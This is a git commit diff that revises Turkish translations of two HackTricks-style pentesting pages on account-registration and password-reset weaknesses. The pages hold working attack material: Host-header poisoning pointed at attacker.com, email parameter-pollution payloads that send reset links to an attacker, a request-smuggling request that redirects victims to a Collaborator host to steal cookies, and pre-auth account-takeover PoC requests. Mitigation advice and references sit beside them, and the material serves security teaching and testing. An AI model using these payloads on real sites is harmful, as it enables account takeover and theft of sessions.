Translated ['', 'src/pentesting-web/registration-vulnerabilities.md', 's

This commit is contained in:
Translator 2025-09-30 09:28:09 +00:00
parent f2ee1ecbb6
commit dd1d8d43ba
2 changed files with 180 additions and 146 deletions

View File

@ -1,79 +1,79 @@
# Kayıt & Ele Geçirme Açıkları
# Kayıt ve Hesap Ele Geçirme Zafiyetleri
{{#include ../banners/hacktricks-training.md}}
## Kayıt Ele Geçirme
## Kayıt Üzerinden Hesap Ele Geçirme
### Çift Kayıt
### Yinelenen Kayıt
- Mevcut bir kullanıcı adı kullanarak oluşturmayı deneyin
- E-postayı değiştirerek kontrol edin:
- büyük harf
- Mevcut bir kullanıcı adı kullanarak oluşturmaya çalışın
- E-posta varyasyonlarını kontrol edin:
- büyük harf kullanımı
- \+1@
- e-postada bazı noktalar ekleyin
- e-posta adında özel karakterler (%00, %09, %20)
- E-postadan sonra siyah karakterler koyun: `test@test.com a`
- e-postaya nokta ekleme
- e-posta isminde özel karakterler (%00, %09, %20)
- E-posta sonrasına boş karakterler koyun: `test@test.com a`
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
### Kullanıcı Adı Sayımı
### Kullanıcı Adı Tespiti
Bir kullanıcı adının uygulama içinde zaten kaydedilip kaydedilmediğini anlamaya çalışın.
Uygulama içinde bir kullanıcı adının zaten kayıtlı olup olmadığını tespit edip edemeyeceğinizi kontrol edin.
### Şifre Politikası
### Parola Politikası
Bir kullanıcı oluştururken şifre politikasını kontrol edin (zayıf şifreler kullanıp kullanamayacağınızı kontrol edin).\
Bu durumda kimlik bilgilerini brute force ile denemeyi deneyebilirsiniz.
Kullanıcı oluştururken parola politikasını kontrol edin (zayıf parolalar kullanıp kullanamayacağınızı test edin).\
Bu durumda credentials üzerinde bruteforce deneyebilirsiniz.
### SQL Enjeksiyonu
### SQL Injection
[**Bu sayfayı kontrol edin** ](sql-injection/index.html#insert-statement) kayıt formlarında **SQL Enjeksiyonları** aracılığıyla hesap ele geçirme veya bilgi çıkarma girişiminde bulunmayı öğrenmek için.
[**Check this page** ](sql-injection/index.html#insert-statement) kayıt formlarında hesap ele geçirme veya bilgi çıkarmak için **SQL Injections** kullanmayı öğrenin.
### Oauth Ele Geçirmeleri
### Oauth Takeovers
{{#ref}}
oauth-to-account-takeover.md
{{#endref}}
### SAML ıkları
### SAML Zafiyetleri
{{#ref}}
saml-attacks/
{{#endref}}
### E-postayı Değiştir
### E-posta Değiştirme
Kayıtlı olduğunuzda e-postayı değiştirmeyi deneyin ve bu değişikliğin doğru bir şekilde doğrulanıp doğrulanmadığını veya keyfi e-postalara değiştirip değiştiremeyeceğinizi kontrol edin.
Kayıtlıyken e-postayı değiştirmeyi deneyin ve bu değişikliğin doğru şekilde doğrulanıp doğrulanmadığını veya rastgele e-posta adreslerine değiştirilebilip değiştirilemeyeceğini kontrol edin.
### Daha Fazla Kontrol
### Diğer Kontroller
- **Tek kullanımlık e-postalar** kullanıp kullanamayacağınızı kontrol edin
- **Uzun** **şifre** (>200) **DoS**'ye yol açar
- **Hesap oluşturma üzerindeki oran limitlerini kontrol edin**
- **tek kullanımlık e-postalar** kullanıp kullanamayacağınızı kontrol edin
- **Uzun** **parola** (>200) **DoS**'a yol açar
- Hesap oluşturma için **rate limits**'ı kontrol edin
- username@**burp_collab**.net kullanın ve **callback**'i analiz edin
## **Şifre Sıfırlama Ele Geçirme**
## **Parola Sıfırlama ile Hesap Ele Geçirme**
### Referrer Üzerinden Şifre Sıfırlama Token Sızıntısı <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
### Parola Sıfırlama Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Şifre sıfırlama talebinde bulunun ve e-posta adresinizi kullanın
2. Şifre sıfırlama bağlantısına tıklayın
3. Şifreyi değiştirmeyin
4. Herhangi bir 3. parti web sitesine tıklayın (örneğin: Facebook, Twitter)
5. Burp Suite proxy'sinde isteği yakalayın
6. Referer başlığının şifre sıfırlama token'ını sızdırıp sızdırmadığını kontrol edin.
1. E-posta adresinize parola sıfırlama isteği gönderin
2. Parola sıfırlama linkine tıklayın
3. Parolayı değiştirmeyin
4. Herhangi bir 3rd party siteye tıklayın (örn: Facebook, twitter)
5. İsteği Burp Suite proxy ile yakalayın
6. Referer header'ının password reset token'ı leak edip etmediğini kontrol edin.
### Şifre Sıfırlama Zehirleme <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Burp Suite'te şifre sıfırlama isteğini yakalayın
2. Burp Suite'te aşağıdaki başlıkları ekleyin veya düzenleyin: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Değiştirilmiş başlıkla isteği iletin\
1. Parola sıfırlama isteğini Burp Suite ile yakalayın
2. Burp Suite'te aşağıdaki header'ları ekleyin veya düzenleyin: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Değiştirilmiş header ile isteği iletin\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. _host başlığına_ dayalı bir şifre sıfırlama URL'si arayın: `https://attacker.com/reset-password.php?token=TOKEN`
4. Host header'ına dayalı bir parola sıfırlama URL'si arayın, örneğin: `https://attacker.com/reset-password.php?token=TOKEN`
### E-posta Parametresi Üzerinden Şifre Sıfırlama <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
### Parola Sıfırlama Email Parametresi Üzerinden <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
@ -90,58 +90,58 @@ email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
### IDOR API Parametreleri Üzerinde <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. Saldırgan, hesabıyla giriş yapmalı ve **Şifre değiştir** özelliğine gitmelidir.
2. Burp Suite'i başlatın ve isteği yakalayın.
3. İsteği tekrar gönderme sekmesine gönderin ve parametreleri düzenleyin: Kullanıcı ID/e-posta\
1. Saldırgan kendi hesabıyla giriş yapıp **Şifre değiştir** özelliğine gitmeli.
2. Burp Suite'i başlatın ve isteği yakalayın
3. Repeater sekmesine gönderin ve parametreleri düzenleyin : User ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
### Zayıf Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Şifre sıfırlama token'ı her seferinde rastgele ve benzersiz olarak üretilmelidir.\
Token'ın süresinin dolup dolmadığını veya her zaman aynı olup olmadığını belirlemeye çalışın, bazı durumlarda üretim algoritması zayıf olabilir ve tahmin edilebilir. Aşağıdaki değişkenler algoritma tarafından kullanılabilir.
Password reset token her seferinde rastgele oluşturulmuş ve benzersiz olmalıdır.\
Token'ın süresinin dolup dolmadığını ya da her zaman aynı olup olmadığını belirlemeye çalışın; bazı durumlarda jenerasyon algoritması zayıftır ve tahmin edilebilir. Aşağıdaki değişkenler algoritma tarafından kullanılabilir.
- Zaman damgası
- KullanıcıID
- Kullanıcının E-postası
- Ad ve Soyad
- Doğum Tarihi
- Kriptografi
- Timestamp
- UserID
- Email of User
- Firstname and Lastname
- Date of Birth
- Cryptography
- Sadece sayı
- Küçük token dizisi (karakterler arasında \[A-Z,a-z,0-9])
- Token tekrar kullanımı
- Token son kullanma tarihi
- Küçük token dizisi ( characters between \[A-Z,a-z,0-9])
- Token reuse
- Token expiration date
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Belirli bir e-posta için API/UI kullanarak bir şifre sıfırlama isteği tetikleyin, örneğin: test@mail.com
2. Sunucu yanıtını inceleyin ve `resetToken` kontrol edin.
3. Ardından token'ı `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` gibi bir URL'de kullanın.
1. Belirli bir e-posta için API/UI üzerinden şifre sıfırlama isteği tetikleyin, örn: test@mail.com
2. Inspect the server response and check for `resetToken`
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Sistemde, kurbanın kullanıcı adıyla aynı olan bir kullanıcı adıyla kaydolun, ancak kullanıcı adının önüne ve/veya arkasına boşluklar ekleyin. örneğin: `"admin "`
2. Kötü niyetli kullanıcı adınızla bir şifre sıfırlama talep edin.
3. E-postanıza gönderilen token'ı kullanarak kurbanın şifresini sıfırlayın.
4. Yeni şifreyle kurbanın hesabına bağlanın.
1. Hedefin kullanıcı adıyla aynı, ancak kullanıcı adının önüne ve/veya sonuna boşluk karakterleri eklenmiş bir kullanıcı adıyla sisteme kayıt olun. e.g: `"admin "`
2. Kötü amaçlı kullanıcı adınızla şifre sıfırlama isteği yapın.
3. E-postanıza gönderilen token'ı kullanıp hedefin şifresini sıfırlayın.
4. Yeni şifreyle hedef hesabına giriş yapın.
CTFd platformu bu saldırıya karşı savunmasızdı.\
Bkz: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
The platform CTFd was vulnerable to this attack.\
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
### Cross Site Scripting ile Hesap Ele Geçirme <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Uygulama içinde veya çerezlerin ana alanla sınırlı olduğu bir alt alan adında bir XSS bulun: `*.domain.com`
2. Mevcut **oturum çerezini** sızdırın.
3. Çerezi kullanarak kullanıcı olarak kimlik doğrulaması yapın.
1. Uygulama içinde veya çerezler ana domain'e scope edilmişse bir alt alan adında XSS bulun : `*.domain.com`
2. Leak the current **sessions cookie**
3. Çerezi kullanarak kullanıcı olarak kimlik doğrulaması yapın
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
### HTTP Request Smuggling ile Hesap Ele Geçirme <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. **smuggler** kullanarak HTTP Request Smuggling türünü tespit edin (CL, TE, CL.TE)\
1\. HTTP Request Smuggling türünü tespit etmek için **smuggler** kullanın (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Aşağıdaki verilerle `POST / HTTP/1.1`'i geçersiz kılacak bir istek oluşturun:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` amacıyla kurbanları burpcollab'a yönlendirmek ve çerezlerini çalmak\
3\. Son istek aşağıdaki gibi görünebilir
2\. `POST / HTTP/1.1` üzerine aşağıdaki veri ile overwrite edecek bir istek oluşturun:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` amacı victimleri burpcollab'e open redirect ederek çerezlerini çalmaktır\
3\. Son istek şu şekilde görünebilir
```
GET / HTTP/1.1
Transfer-Encoding: chunked
@ -153,20 +153,20 @@ Content-Length: 83
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone bu hatayı istismar eden raporlar\
Hackerone bu hatanın istismar edildiğini rapor ediyor\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### CSRF ile Hesap Ele Geçirme <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. CSRF için bir payload oluşturun, örneğin: “Şifre değişikliği için otomatik gönderim yapan HTML formu
1. CSRF için bir payload oluşturun, örn: “HTML form with auto submit for a password change
2. Payload'u gönderin
### JWT ile Hesap Ele Geçirme <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token, bir kullanıcıyı kimlik doğrulamak için kullanılabilir.
JSON Web Token bir kullanıcıyı doğrulamak için kullanılıyor olabilir.
- JWT'yi başka bir Kullanıcı ID'si / E-posta ile düzenleyin
- JWT'yi başka bir User ID / Email ile düzenleyin
- Zayıf JWT imzasını kontrol edin
@ -174,8 +174,29 @@ JSON Web Token, bir kullanıcıyı kimlik doğrulamak için kullanılabilir.
hacking-jwt-json-web-tokens.md
{{#endref}}
## Registration-as-Reset (Upsert on Existing Email)
Bazı signup handlers, sağlanan email zaten mevcutsa upsert gerçekleştirir. Eğer endpoint email ve password içeren minimal bir body kabul ediyor ve sahiplik doğrulamasını zorunlu kılmıyorsa, kurbanın email'ini göndererek onların password'ünü pre-auth olarak üzerine yazabilirsiniz.
- Discovery: bundled JS (veya mobil uygulama trafiği) üzerinden endpoint isimlerini toplayın, sonra ffuf/dirsearch kullanarak /parents/application/v4/admin/FUZZ gibi base path'leri fuzz edin.
- Method hints: "Only POST request is allowed." gibi mesaj dönen bir GET genellikle doğru verb'ü ve JSON body beklendiğini gösterir.
- Gerçek dünyada gözlemlenen minimal body:
```json
{"email":"victim@example.com","password":"New@12345"}
```
Örnek PoC:
```http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
```
Etkisi: Herhangi bir reset token, OTP veya email verification gerektirmeden Full Account Takeover (ATO).
## Referanslar
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,13 +1,13 @@
# Şifre Sıfırlama / Unutulmuş Şifre Atlatma
# Reset/Unutulmuş Parola Bypass
{{#include ../banners/hacktricks-training.md}}
## **Şifre Sıfırlama Token Leak Referer Üzerinden**
## **Password Reset Token Leak Via Referrer**
- HTTP referer header, URL içinde şifre sıfırlama token'ı varsa token'ı leak edebilir. Bu, bir kullanıcı şifre sıfırlama talep ettikten sonra üçüncü taraf bir siteye tıklarsa oluşabilir.
- **Impact**: Cross-Site Request Forgery (CSRF) saldırıları yoluyla potansiyel hesap ele geçirme.
- **Exploitation**: HTTP referer header içinde bir şifre sıfırlama token'ının leak olup olmadığını kontrol etmek için, **e-posta adresinize şifre sıfırlama isteği gönderin** ve verilen **reset linkine tıklayın**. **Hemen parolayı değiştirmeyin**. Bunun yerine, **istekleri Burp Suite ile intercept ederken** bir **üçüncü taraf web sitesine** (ör. Facebook veya Twitter) gidin. İstekleri inceleyerek **referer header içinde şifre sıfırlama token'ı olup olmadığını** kontrol edin — bu, hassas bilgilerin üçüncü taraflara açığa çıkmasına neden olabilir.
- **References**:
- HTTP referer header, URL'de yer alıyorsa password reset token'ı leak edebilir. Bu, bir kullanıcı parola sıfırlama talep ettikten sonra üçüncü taraf bir site linkine tıkladığında gerçekleşebilir.
- **Etkisi**: Hesap ele geçirme potansiyeli Cross-Site Request Forgery (CSRF) saldırıları yoluyla.
- **Sömürme**: referer header'da password reset token leak edip etmediğini kontrol etmek için, e-posta adresinize bir **password reset** talebi gönderin ve sağlanan **reset link**e tıklayın. **Parolanızı hemen değiştirmeyin**. Bunun yerine, istekleri **Burp Suite kullanarak** yakalarken üçüncü taraf bir web sitesine (ör. Facebook veya Twitter) **gidin**. İstekleri inceleyin ve **referer header'ın password reset token içerip içermediğini** kontrol edin; bu, hassas bilgilerin üçüncü taraflara açığa çıkmasına neden olabilir.
- **Referanslar**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
@ -15,122 +15,122 @@
## **Password Reset Poisoning**
- Saldırganlar, password reset istekleri sırasında Host header'ı manipüle ederek reset linkini kötü amaçlı bir siteye yönlendirebilir.
- **Impact**: Reset token'larının saldırgana leak olmasıyla potansiyel hesap ele geçirme.
- **Mitigation Steps**:
- Host header'ı izin verilen domainler listesiyle doğrulayın.
- **Etkisi**: reset token'larının saldırganlara leaking edilmesiyle potansiyel hesap ele geçirmeye yol açar.
- **Önlemler**:
- Host header'ı izin verilen domain'lerin bir whitelist'ine karşı doğrulayın.
- Mutlak URL'ler oluşturmak için güvenli, server-side yöntemler kullanın.
- **Patch**: Password reset URL'lerini oluştururken `$_SERVER['SERVER_NAME']` kullanın; `$_SERVER['HTTP_HOST']` yerine.
- **References**:
- **Patch**: password reset URL'lerini oluştururken `$_SERVER['SERVER_NAME']` kullanın; `$_SERVER['HTTP_HOST']` yerine.
- **Referanslar**:
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Password Reset By Manipulating Email Parameter**
Saldırganlar, reset linkini başka bir yere yönlendirmek için password reset isteğindeki email parametresini manipüle edebilir.
Saldırganlar, reset linkini yönlendirmek için password reset isteğine ek email parametreleri ekleyerek isteği manipüle edebilir.
- Saldırgan e-posta adresini ikinci parametre olarak & kullanarak ekleyin &
- Saldırgan e-posta adresini ikinci parametre olarak & ile ekleyin
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
- İkinci parametre olarak attacker email ekle %20 kullanarak
- İkinci parametre olarak attacker email'i %20 kullanarak ekle
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
- attacker email'i ikinci parametre olarak | ile ekle
- Saldırgan e-postasını ikinci parametre olarak '|' kullanarak ekleyin
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
- cc kullanarak attacker email'i ikinci parametre olarak ekle
- cc kullanarak saldırgan e-posta adresini ikinci parametre olarak ekleyin
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
- Saldırgan e-posta adresini bcc kullanarak ikinci parametre olarak ekleyin
- attacker e-posta adresini ikinci parametre olarak bcc ile ekle
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
- İkinci parametre olarak attacker email ekleyin, kullanarak ,
- İkinci parametre olarak attacker email kullanarak ekleyin,
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
- Saldırgan e-posta adresini json dizisinin ikinci parametresi olarak ekleyin
- json dizisinde ikinci parametre olarak saldırgan e-posta adresini ekleyin
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
- **Önleme Adımları**:
- E-posta parametrelerini sunucu tarafında düzgün şekilde ayrıştırın ve doğrulayın.
- prepared statements veya parameterized queries kullanın; injection attacks'ı önlemek için.
- **Referanslar**:
- **Azaltma Adımları**:
- Email parametrelerini sunucu tarafında doğru şekilde ayrıştırın ve doğrulayın.
- injection attacks'ı önlemek için prepared statements veya parameterized queries kullanın.
- **Kaynaklar**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **API Parametreleri Aracılığıyla Herhangi Bir Kullanıcının E-posta ve Parolasının Değiştirilmesi**
## **Herhangi Bir Kullanıcının Email ve Password'ünü API Parametreleriyle Değiştirme**
- Saldırganlar, hesap kimlik bilgilerini değiştirmek için API isteklerindeki e-posta ve parola parametrelerini değiştirebilirler.
- Saldırganlar, hesap kimlik bilgilerini değiştirmek için API isteklerindeki email ve password parametrelerini değiştirebilir.
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
- **Hafifletme Adımları**:
- Parametre doğrulaması ve kimlik doğrulama kontrollerinin sıkı olduğundan emin olun.
- Şüpheli etkinlikleri tespit etmek ve yanıtlamak için güçlü kayıt tutma ve izleme uygulayın.
- **Önleme Adımları**:
- Parametre doğrulamasını ve kimlik doğrulama kontrollerini sıkı tutun.
- Şüpheli etkinlikleri tespit etmek ve yanıt vermek için sağlam loglama ve izleme uygulayın.
- **Reference**:
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **No Rate Limiting: Email Bombing**
- Şifre sıfırlama isteklerinde rate limiting olmaması email bombing'e yol açabilir ve kullanıcıyı sıfırlama e-postalarıyla bunaltabilir.
- **Hafifletme Adımları**:
- IP adresi veya kullanıcı hesabına göre rate limiting uygulayın.
- Otomatik kötüye kullanımı önlemek için CAPTCHA zorlukları kullanın.
- Parola sıfırlama isteklerinde rate limiting olmaması, kullanıcıyı reset e-postalarıyla bunaltan email bombing'e yol açabilir.
- **Önleme Adımları**:
- IP adresi veya kullanıcı hesabına dayalı rate limiting uygulayın.
- Otomatik kötüye kullanımı önlemek için CAPTCHA doğrulamaları kullanın.
- **References**:
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **Find out How Password Reset Token is Generated**
- Token oluşturma desenini veya yöntemini anlamak, token'ların tahmin edilmesine veya brute-forcing ile ele geçirilmesine yol açabilir. Bazı seçenekler:
- Timestamp'a dayalı
- Password Reset Token'ın üretimindeki desen veya yöntemi anlamak, tokenları tahmin etmeye veya brute-force yapmaya yol açabilir. Bazı seçenekler:
- Timestamp'e dayalı
- UserID'e dayalı
- Kullanıcının email'ine dayalı
- İsim ve soyisme dayalı
- Firstname ve Lastname'e dayalı
- Doğum tarihine dayalı
- Kriptografi tabanlı
- **Hafifletme Adımları**:
- Token oluşturmak için güçlü, kriptografik yöntemler kullanın.
- Tahmin edilebilirliği önlemek için yeterli rastgelelik ve uzunluk sağlayın.
- **Araçlar**: Burp Sequencer kullanarak token'ların rastgeleliğini analiz edin.
- Kriptografiye dayalı
- **Önleme Adımları**:
- Token üretimi için güçlü, kriptografik yöntemler kullanın.
- Öngörülebilirliği önlemek için yeterli rastgelelik ve uzunluk sağlayın.
- **Araçlar**: Tokenların rastgeleliğini analiz etmek için Burp Sequencer kullanın.
## **Guessable UUID**
- UUID'ler (version 1) tahmin edilebilir veya öngörülebilir ise, saldırganlar geçerli reset token'ları üretmek için bunları brute-force ile deneyebilir. Kontrol edin:
- Eğer UUID'ler (version 1) tahmin edilebilir veya öngörülebilir ise, saldırganlar geçerli reset token'ları üretmek için brute-force yapabilir. Kontrol edin:
{{#ref}}
uuid-insecurities.md
{{#endref}}
- **Hafifletme Adımları**:
- **Önleme Adımları**:
- Rastgelelik için GUID version 4 kullanın veya diğer versiyonlar için ek güvenlik önlemleri uygulayın.
- **Araçlar**: GUID'leri analiz etmek ve oluşturmak için [guidtool](https://github.com/intruder-io/guidtool) kullanın.
## **Response Manipulation: Replace Bad Response With Good One**
- Hata mesajlarını veya kısıtlamaları atlamak için HTTP yanıtlarını manipüle etmek.
- **Hafifletme Adımları**:
- Hata mesajlarını veya kısıtlamaları atlatmak için HTTP yanıtlarını manipüle etme.
- **Önleme Adımları**:
- Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulayın.
- Man-in-the-middle saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın.
- **Reference**:
@ -138,41 +138,41 @@ uuid-insecurities.md
## **Using Expired Token**
- Süresi dolmuş token'ların hâlâ şifre sıfırlamada kullanılıp kullanılamayacağını test etmek.
- **Hafifletme Adımları**:
- Sıkı token süre sonu politikaları uygulayın ve token süre sonunu sunucu tarafında doğrulayın.
- Süresi dolmuş tokenların parola sıfırlama için hala kullanılıp kullanılamayacağını test etme.
- **Önleme Adımları**:
- Sıkı token süre sonu politikaları uygulayın ve token süresini sunucu tarafında doğrulayın.
## **Brute Force Password Reset Token**
- IP tabanlı rate limitleri aşmak için Burpsuite ve IP-Rotator gibi araçları kullanarak reset token'ı brute-force etmeyi denemek.
- **Hafifletme Adımları**:
- IP tabanlı rate limitleri atlatmak için Burpsuite ve IP-Rotator gibi araçları kullanarak reset token'ı brute-force yapmayı deneme.
- **Önleme Adımları**:
- Güçlü rate-limiting ve hesap kilitleme mekanizmaları uygulayın.
- Brute-force saldırılarına işaret eden şüpheli etkinlikleri izleyin.
- Brute-force saldırılarını işaret eden şüpheli etkinlikleri izleyin.
## **Try Using Your Token**
- Bir saldırganın reset token'ının kurbanın e-postası ile birlikte kullanılıp kullanılamayacağını test etmek.
- **Hafifletme Adımları**:
- Token'ların kullanıcı oturumuna veya diğer kullanıcıya özgü niteliklere bağlı olduğundan emin olun.
- Bir saldırganın reset token'ının mağdurun email'i ile birlikte kullanılıp kullanılamayacağını test etme.
- **Önleme Adımları**:
- Tokenların kullanıcı oturumuna veya başka kullanıcıya özgü özelliklere bağlandığından emin olun.
## **Session Invalidation in Logout/Password Reset**
- Bir kullanıcı oturumu kapattığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olmak.
- **Hafifletme Adımları**:
- Oturum kapatma veya şifre sıfırlama sırasında tüm oturumların geçersiz kılınmasını sağlayacak doğru oturum yönetimini uygulayın.
- Bir kullanıcı çıkış yaptığında veya parolasını sıfırladığında oturumların geçersiz kılındığından emin olma.
- **Önleme Adımları**:
- Tüm oturumların çıkış veya parola sıfırlama sırasında geçersiz kılındığından emin olarak uygun oturum yönetimi uygulayın.
## **Session Invalidation in Logout/Password Reset**
- Reset token'larının belirli bir süre sonu olmalı ve bu süreden sonra geçersiz olmalılar.
- **Hafifletme Adımları**:
- Reset token'ları için makul bir süre sonu belirleyin ve bunu sunucu tarafında kesinlikle uygulayın.
- Reset tokenların geçersiz hale geldiği bir süre sonu olmalıdır.
- **Önleme Adımları**:
- Reset tokenları için makul bir süre sonu belirleyin ve bunu sunucu tarafında sıkı şekilde uygulayın.
## **OTP rate limit bypass by changing your session**
- Eğer web sitesi yanlış OTP denemelerini izlemek için kullanıcı oturumunu kullanıyorsa ve OTP zayıfsa (<= 4 hane) OTP'yi etkin bir şekilde brute-force edebiliriz.
- **Sömürme**:
- Sunucu tarafından engellendikten sonra sadece yeni bir session token isteyin.
- **Örnek** kodu, OTP'yi rastgele tahmin ederek bu hatayı sömüren (oturumu değiştirdiğinizde OTP de değişecektir, bu yüzden ardışık brute-force yapamayacağız!):
- Site yanlış OTP denemelerini izlemek için kullanıcı oturumu kullanıyorsa ve OTP zayıfsa (<= 4 basamak) OTP'yi etkili şekilde bruteforce edebiliriz.
- **istismar**:
- Sunucu tarafından engellendikten sonra yeni bir session token isteyin.
- **Örnek** kodu bu hatayı rastgele OTP tahminiyle sömürüyor (oturumu değiştirdiğinizde OTP de değişir, bu yüzden sıralı brute-force yapamayız!):
``` python
# Authentication bypass by password reset
@ -233,9 +233,9 @@ print("[+] Attck stopped")
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
Bazı uygulamalar, skipOldPwdCheck=true ile password-change rutinini çağıran ve herhangi bir reset token'ı veya sahipliği doğrulamayan bir password change eylemi açığa çıkarır. Eğer endpoint, request gövdesinde change_password gibi bir action parametresini ve bir username/yeni şifre kabul ediyorsa, bir saldırgan pre-auth olarak rastgele hesapları sıfırlayabilir.
Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.
Zafiyetli desen (PHP):
Vulnerable pattern (PHP):
```php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
@ -262,14 +262,27 @@ Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
```
Önlemler:
- Parola değiştirmeden önce her zaman hesaba ve session'a bağlı, süreyle sınırlı geçerli bir reset token gerektirin.
- skipOldPwdCheck path'lerini kimlik doğrulanmamış kullanıcılara asla açmayın; normal parola değişiklikleri için kimlik doğrulamayı zorunlu kılın ve eski parolayı doğrulayın.
- Parola değişikliğinden sonra tüm aktif session'ları ve reset token'ları geçersiz kılın.
Mitigations:
- Parola değişikliğinden önce, hesaba ve oturuma bağlı, geçerli ve zaman sınırlı bir reset tokenı her zaman talep edin.
- skipOldPwdCheck path'larını kimlik doğrulanmamış kullanıcılara asla açmayın; normal parola değişiklikleri için kimlik doğrulamayı zorunlu kılın ve eski parolayı doğrulayın.
- Parola değişikliğinden sonra tüm aktif oturumları ve reset tokenlarını geçersiz kılın.
## Kaynaklar
## Kayıt-olarak-Parola-Sıfırlama (Upsert on Existing Email)
Bazı uygulamalar signup handler'ını upsert olarak uygular. Eğer e-posta zaten mevcutsa, handler isteği reddetmek yerine kullanıcı kaydını sessizce günceller. Registration endpoint'i mevcut bir e-posta ve yeni bir parolayı içeren minimal bir JSON body kabul ettiğinde, bu teknik olarak herhangi bir sahiplik doğrulaması olmadan pre-auth password reset'e dönüşür ve tam hesap ele geçirilmesine izin verir.
Pre-auth ATO PoC (mevcut bir kullanıcının şifresinin üzerine yazma):
```http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
```
## Referanslar
